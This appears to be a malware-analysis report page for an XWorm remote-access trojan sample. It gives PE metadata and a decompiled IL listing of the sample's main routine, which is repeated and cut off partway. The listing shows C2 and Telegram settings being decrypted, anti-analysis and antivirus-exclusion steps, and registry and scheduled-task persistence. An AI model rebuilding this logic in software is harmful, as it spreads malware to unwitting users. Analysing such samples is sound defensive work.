Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Medium
1 malicious · 3 files
EXE0cd3df20559504130571e116dda8cb18XWorm
Structure
Config. Field Value
family xhuhuhuhu
We extracted this malware's full configuration (C2, credentials, campaign IDs…).
Unlock with Essential
Name Value
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
652
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 759
ldc.i4 687
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldc.i4.8 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 907
ldc.i4 920
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1009
ldc.i4 994
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Port
ldc.i4.s 9
stloc.s V_21
br.s IL_001D: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 137
ldc.i4 154
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 567
ldc.i4 548
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.7 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 247
ldc.i4 228
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 27
ldc.i4.8 <null>
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.4 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 474
ldc.i4 457
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
ldc.i4 670
ldc.i4 741
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.6 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 925
ldc.i4 910
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::InstallStr
ldsfld System.String Settings::Token
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 395
ldc.i4 408
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Token
ldc.i4.0 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::ChatID
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 163
ldc.i4 176
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::ChatID
leave.s IL_01DA: ldc.i4.2
dup <null>
ldc.i4 701
ldc.i4 742
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 959
ldc.i4 998
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldc.i4 170
ldc.i4 244
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_01DA: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴀ.Ⴀ::Ⴄ()
brtrue.s IL_0218: ldc.i4.2
ldc.i4.4 <null>
stloc.s V_23
br.s IL_01DD: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 937
ldc.i4 1008
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_0260: ldc.i4.2
dup <null>
ldc.i4 270
ldc.i4 341
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_4
ldc.i4 242
ldc.i4 172
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_0260: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963472
ldc.i4.s 31
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldsfld System.String Settings::InstallStr
ldc.i4.s 102
ldc.i4.7 <null>
call System.String Stub.Main::ႥႤ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int32)
stloc.0 <null>
ldc.i4.5 <null>
stloc.s V_29
ldloc.s V_29
switch dnlib.DotNet.Emit.Instruction[]
ldloc.0 <null>
isinst System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
ldc.i4 774
ldc.i4 770
call System.IO.DirectoryInfo Stub.Uninstaller::ႳႤ<System.IO.FileInfo>(System.IO.FileInfo,System.Int32,System.Int32)
ldc.i4.s 30
ldc.i4.s 124
call System.String Stub.AlgorithmAES::Ⴗ<System.IO.DirectoryInfo>(System.IO.DirectoryInfo,System.Int32,System.Char)
stloc.s V_5
ldc.i4.7 <null>
stloc.s V_29
br.s IL_02A7: ldloc.s V_29
ldloc.s V_5
ldc.i4 915
ldc.i4 896
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
ldc.i4 238
ldc.i4 243
call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char)
brtrue.s IL_032A: ldc.i4.4
ldc.i4.8 <null>
stloc.s V_29
br IL_02A7: ldloc.s V_29
ldc.i4.4 <null>
br.s IL_0323: stloc.s V_29
ldloc.s V_5
ldc.i4 538
ldc.i4 521
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
ldc.i4 334
ldc.i4 322
call System.IO.DirectoryInfo Stub.AlgorithmAES::ႣႰ<System.String>(System.String,System.Int16,System.Int16)
pop <null>
ldc.i4.4 <null>
stloc.s V_29
br IL_02A7: ldloc.s V_29
ldloc.0 <null>
isinst System.String
ldc.i4 729
ldc.i4 711
call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char)
brfalse.s IL_0375: ldc.i4.6
ldc.i4.1 <null>
stloc.s V_29
br IL_02A7: ldloc.s V_29
ldc.i4.6 <null>
br.s IL_036E: stloc.s V_29
ldloc.0 <null>
castclass System.String
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_6
ldloc.s V_6
castclass System.IO.FileInfo
ldc.i4 212
ldc.i4 219
call System.Void Stub.Uninstaller::ႳႣ<System.IO.FileInfo>(System.IO.FileInfo,System.Int16,System.Char)
ldc.i4 1000
ldc.i4 230
ldc.i4 190
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldloc.0 <null>
castclass System.String
ldsfld System.String Ⴀ.Ⴀ::Ⴄ
ldc.i4 624
ldc.i4 553
call System.Byte[] My.MyComputer::Ⴜ<System.String>(System.String,System.Int32,System.Int32)
ldc.i4 798
ldc.i4 824
call System.Void Stub.AlgorithmAES::Ⴍ<System.String>(System.String,System.Byte[],System.Char,System.Int16)
leave.s IL_03F7: ldc.i4.5
dup <null>
ldc.i4 554
ldc.i4 625
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_7
ldc.i4.s 119
ldc.i4.s 41
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_03F7: ldc.i4.5
ldc.i4.5 <null>
stloc.s V_31
ldloc.s V_31
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1525963418
ldc.i4.s 12
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_9
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.1 <null>
ldc.i4 277
ldc.i4 355
call System.Void Stub.AlgorithmAES::Ⴓ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Diagnostics.ProcessWindowStyle,System.Int32,System.Int32)
ldc.i4.1 <null>
stloc.s V_31
br.s IL_03FA: ldloc.s V_31
call System.String Stub.ClientSocket::UAC()
ldc.i4 935
ldc.i4 952
call System.Boolean My.MyComputer::ႥႭ<System.String>(System.String,System.Int16,System.Char)
brfalse.s IL_0471: ldc.i4.4
ldc.i4.0 <null>
stloc.s V_31
br.s IL_03FA: ldloc.s V_31
ldc.i4.4 <null>
br.s IL_046D: stloc.s V_31
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
isinst System.String[]
ldc.i4.0 <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963406
ldc.i4.s 13
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4 572
ldc.i4 576
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.2 <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963355
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
isinst System.String
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4.4 <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963333
ldc.i4.s 31
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.s 122
ldc.i4.0 <null>
call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char)
ldc.i4 470
ldc.i4 432
call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldc.i4.7 <null>
stloc.s V_31
br IL_03FA: ldloc.s V_31
ldloc.s V_9
castclass System.Diagnostics.ProcessStartInfo
ldc.i4.5 <null>
newarr System.String
stloc.s V_14
ldloc.s V_14
castclass System.String[]
ldc.i4.0 <null>
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963337
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.1 <null>
ldsfld System.String Settings::InstallStr
ldc.i4.7 <null>
ldc.i4.s 123
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.2 <null>
ldc.i4.6 <null>
ldnull <null>
ldc.i4 1525963357
ldc.i4.s 10
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.3 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_14
isinst System.String[]
ldc.i4.4 <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1525963334
ldc.i4.s 11
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_14
castclass System.String[]
ldc.i4 765
ldc.i4 647
call System.String Stub.Messages::Ⴓ(System.String[],System.Char,System.Char)
ldc.i4.s 96
ldc.i4.6 <null>
call System.Void My.MyComputer::Ⴄ<System.String,System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.String,System.Char,System.Char)
ldloc.s V_9
isinst System.Diagnostics.ProcessStartInfo
ldc.i4.s 48
ldc.i4.s 46
call System.Diagnostics.Process Stub.Messages::ႣႭ<System.Diagnostics.ProcessStartInfo>(System.Diagnostics.ProcessStartInfo,System.Int16,System.Int32)
stloc.s V_8
ldloc.s V_8
castclass System.Diagnostics.Process
ldc.i4 443
ldc.i4 449
call System.Void Stub.Messages::ႣႰ<System.Diagnostics.Process>(System.Diagnostics.Process,System.Int32,System.Int16)
leave.s IL_05FE: ldc.i4.4
dup <null>
ldc.i4 803
ldc.i4 888
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_10
ldc.i4 573
ldc.i4 611
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_05FE: ldc.i4.4
ldc.i4.4 <null>
stloc.s V_33
ldloc.s V_33
switch dnlib.DotNet.Emit.Instruction[]
call My.MyComputer My.MyProject::Ⴈ()
ldc.i4.s 58
ldc.i4.s 41
call Microsoft.VisualBasic.MyServices.RegistryProxy My.MyComputer::ႥႼ<Microsoft.VisualBasic.Devices.ServerComputer>(Microsoft.VisualBasic.Devices.ServerComputer,System.Char,System.Int16)
ldc.i4.s 76
ldc.i4.s 61
call Microsoft.Win32.RegistryKey Stub.Messages::ႣႷ<Microsoft.VisualBasic.MyServices.RegistryProxy>(Microsoft.VisualBasic.MyServices.RegistryProxy,System.Int32,System.Int32)
ldc.i4.1 <null>
ldnull <null>
ldc.i4 1525963372
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
ldc.i4 719
ldc.i4 704
call Microsoft.Win32.RegistryKey My.MyApplication::Ⴗ<System.String,Microsoft.Win32.RegistryKey>(Microsoft.Win32.RegistryKey,System.String,System.Boolean,System.Char,System.Int32)
ldsfld System.String Settings::InstallStr
ldc.i4 787
ldc.i4 879
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
ldloc.0 <null>
isinst System.String
ldc.i4 196
ldc.i4 232
call System.Void My.MyComputer::ႨႥ<System.String,Microsoft.Win32.RegistryKey,System.Object>(Microsoft.Win32.RegistryKey,System.String,System.Object,System.Int32,System.Int16)
leave.s IL_069F: ldc.i4.0
dup <null>
ldc.i4 555
ldc.i4 624
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_11
ldc.i4 796
ldc.i4 834
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_069F: ldc.i4.0
ldc.i4.0 <null>
stloc.s V_35
ldloc.s V_35
switch dnlib.DotNet.Emit.Instruction[]
ldc.i4.7 <null>
ldc.i4 552
ldc.i4 539
call System.String My.MyComputer::ႥႨ(System.Environment/SpecialFolder,System.Char,System.Int32)
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963472
ldc.i4.5 <null>
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldsfld System.String Settings::InstallStr
ldc.i4.s 111
ldc.i4.s 19
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
ldc.i4.8 <null>
ldnull <null>
ldc.i4 1525963317
ldc.i4.s 17
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4 651
ldc.i4 691
call System.String Stub.AlgorithmAES::ႣႥ<System.String,System.String,System.String,System.String>(System.String,System.String,System.String,System.String,System.Int32,System.Int16)
stloc.s V_12
ldc.i4.1 <null>
stloc.s V_35
br.s IL_06A2: ldloc.s V_35
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963297
ldc.i4.s 29
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963732
ldc.i4.s 12
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
call System.Object Microsoft.VisualBasic.Interaction::CreateObject(System.String,System.String)
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963730
ldc.i4.s 18
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_15
ldloc.s V_15
castclass System.Object[]
ldc.i4.0 <null>
ldloc.s V_12
isinst System.String
stelem.ref <null>
ldloc.s V_15
isinst System.Object[]
stloc.s V_16
ldloc.s V_16
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
newarr System.Boolean
stloc.s V_17
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldc.i4.1 <null>
stelem.i1 <null>
ldloc.s V_17
castclass System.Boolean[]
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateGet(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[])
ldloc.s V_17
castclass System.Boolean[]
ldc.i4.0 <null>
ldelem.i1 <null>
brfalse.s IL_07C3: stloc.s V_18
ldloc.s V_16
castclass System.Object[]
ldc.i4.0 <null>
ldelem.ref <null>
call System.Object System.Runtime.CompilerServices.RuntimeHelpers::GetObjectValue(System.Object)
ldtoken System.String
call System.Type System.Type::GetTypeFromHandle(System.RuntimeTypeHandle)
call System.Object Microsoft.VisualBasic.CompilerServices.Conversions::ChangeType(System.Object,System.Type)
castclass System.String
stloc.s V_12
stloc.s V_18
ldloc.s V_18
ldnull <null>
ldc.i4.7 <null>
ldnull <null>
ldc.i4 1525963727
ldc.i4.s 23
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldloc.0 <null>
castclass System.String
stelem.ref <null>
ldloc.s V_19
isinst System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.8 <null>
stloc.s V_35
br IL_06A2: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963760
ldc.i4.s 31
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.1 <null>
newarr System.Object
stloc.s V_19
ldloc.s V_19
isinst System.Object[]
ldc.i4.0 <null>
ldc.i4.5 <null>
ldnull <null>
ldc.i4 1525963729
ldc.i4.s 19
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
stelem.ref <null>
ldloc.s V_19
castclass System.Object[]
ldnull <null>
ldnull <null>
ldc.i4.0 <null>
ldc.i4.1 <null>
call System.Void Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateSetComplex(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean,System.Boolean)
ldc.i4.7 <null>
stloc.s V_35
br IL_06A2: ldloc.s V_35
ldloc.s V_18
ldnull <null>
ldc.i4.3 <null>
ldnull <null>
ldc.i4 1525963755
ldc.i4.s 28
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldc.i4.0 <null>
newarr System.Object
ldnull <null>
ldnull <null>
ldnull <null>
ldc.i4.1 <null>
call System.Object Microsoft.VisualBasic.CompilerServices.NewLateBinding::LateCall(System.Object,System.Type,System.String,System.Object[],System.String[],System.Type[],System.Boolean[],System.Boolean)
pop <null>
ldc.i4.3 <null>
stloc.s V_35
br IL_06A2: ldloc.s V_35
ldnull <null>
stloc.s V_18
ldloc.s V_12
castclass System.String
ldc.i4.3 <null>
newobj System.Void System.IO.FileStream::.ctor(System.String,System.IO.FileMode)
stsfld System.IO.FileStream Ⴀ.Ⴀ::Ⴓ
leave.s IL_089C: ldc.i4.1
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_13
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_089C: ldc.i4.1
ldc.i4.1 <null>
stloc.s V_37
ldloc.s V_37
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Ⴀ.Ⴀ::Ⴓ()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__1()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
call System.String Stub.ClientSocket::UAC()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_08F2: ldc.i4.0
ldc.i4.6 <null>
stloc.s V_37
br.s IL_089F: ldloc.s V_37
ldc.i4.0 <null>
br.s IL_08EE: stloc.s V_37
call System.Void Stub.ProcessCritical::CriticalProcess_Enable()
call System.Void Stub.Main::SendBot()
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__2()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.Main::_Lambda$__3()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldc.i4.7 <null>
stloc.s V_37
br IL_089F: ldloc.s V_37
ldloc.1 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
castclass System.Threading.Thread
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
isinst System.Threading.Thread
callvirt System.Void System.Threading.Thread::Join()
ret <null>
ldtoken System.Void Stub.Main::Main()
pop <null>
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint
System.Void Stub.Main::Main()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
0
Main Method
System.Void Stub.Main::Main()
Main IL Instruction Count
652
Main IL 
ldsfld System.Int32 Settings::Sleep
ldc.i4 1000
mul.ovf <null>
ldc.i4 759
ldc.i4 687
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldc.i4.8 <null>
stloc.s V_21
ldloc.s V_21
switch dnlib.DotNet.Emit.Instruction[]
ldsfld System.String Settings::Hosts
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 907
ldc.i4 920
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Hosts
ldsfld System.String Settings::Port
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 1009
ldc.i4 994
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Port
ldc.i4.s 9
stloc.s V_21
br.s IL_001D: ldloc.s V_21
ldsfld System.String Settings::KEY
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 137
ldc.i4 154
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::KEY
ldsfld System.String Settings::SPL
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 567
ldc.i4 548
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::SPL
ldc.i4.7 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::Groub
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 247
ldc.i4 228
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Groub
ldsfld System.String Settings::USBNM
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4.s 27
ldc.i4.8 <null>
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::USBNM
ldc.i4.4 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallDir
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 474
ldc.i4 457
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
ldc.i4 670
ldc.i4 741
call System.String Stub.Messages::Ⴐ<System.String>(System.String,System.Char,System.Char)
stsfld System.String Settings::InstallDir
ldc.i4.6 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::InstallStr
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 925
ldc.i4 910
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::InstallStr
ldsfld System.String Settings::Token
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 395
ldc.i4 408
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::Token
ldc.i4.0 <null>
stloc.s V_21
br IL_001D: ldloc.s V_21
ldsfld System.String Settings::ChatID
call System.Object Stub.AlgorithmAES::Decrypt(System.String)
ldc.i4 163
ldc.i4 176
call System.String Stub.Main::Ⴈ<System.Object>(System.Object,System.Int16,System.Int16)
stsfld System.String Settings::ChatID
leave.s IL_01DA: ldc.i4.2
dup <null>
ldc.i4 701
ldc.i4 742
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.3 <null>
ldc.i4.0 <null>
ldc.i4 959
ldc.i4 998
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldc.i4 170
ldc.i4 244
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_01DA: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_23
ldloc.s V_23
switch dnlib.DotNet.Emit.Instruction[]
call System.Boolean Ⴀ.Ⴀ::Ⴄ()
brtrue.s IL_0218: ldc.i4.2
ldc.i4.4 <null>
stloc.s V_23
br.s IL_01DD: ldloc.s V_23
ldc.i4.0 <null>
ldc.i4 937
ldc.i4 1008
call System.Void Stub.AlgorithmAES::Ⴃ(System.Int32,System.Int32,System.Int16)
ldc.i4.2 <null>
stloc.s V_25
ldloc.s V_25
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::RunAntiAnalysis()
leave.s IL_0260: ldc.i4.2
dup <null>
ldc.i4 270
ldc.i4 341
call System.Void Stub.Messages::Ⴅ<System.Exception>(System.Exception,System.Int16,System.Int32)
stloc.s V_4
ldc.i4 242
ldc.i4 172
call System.Void Stub.Main::Ⴀ(System.Int16,System.Int32)
leave.s IL_0260: ldc.i4.2
ldc.i4.2 <null>
stloc.s V_27
ldloc.s V_27
switch dnlib.DotNet.Emit.Instruction[]
call System.Void Stub.Main::Exclusion()
ldsfld System.String Settings::InstallDir
ldc.i4.0 <null>
ldnull <null>
ldc.i4 1525963472
ldc.i4.s 31
call System.String Stub.Uninstaller::Ⴍ(System.Int32,System.Reflection.Assembly,System.Int32,System.Byte)
ldsfld System.String Settings::InstallStr
ldc.i4.s 102
ldc.i4.7 <null>
call System.String Stub.Main::ႥႤ<System.String,System.String,System.String>(System.String,System.String,System.String,System.Int16,System.Int32)
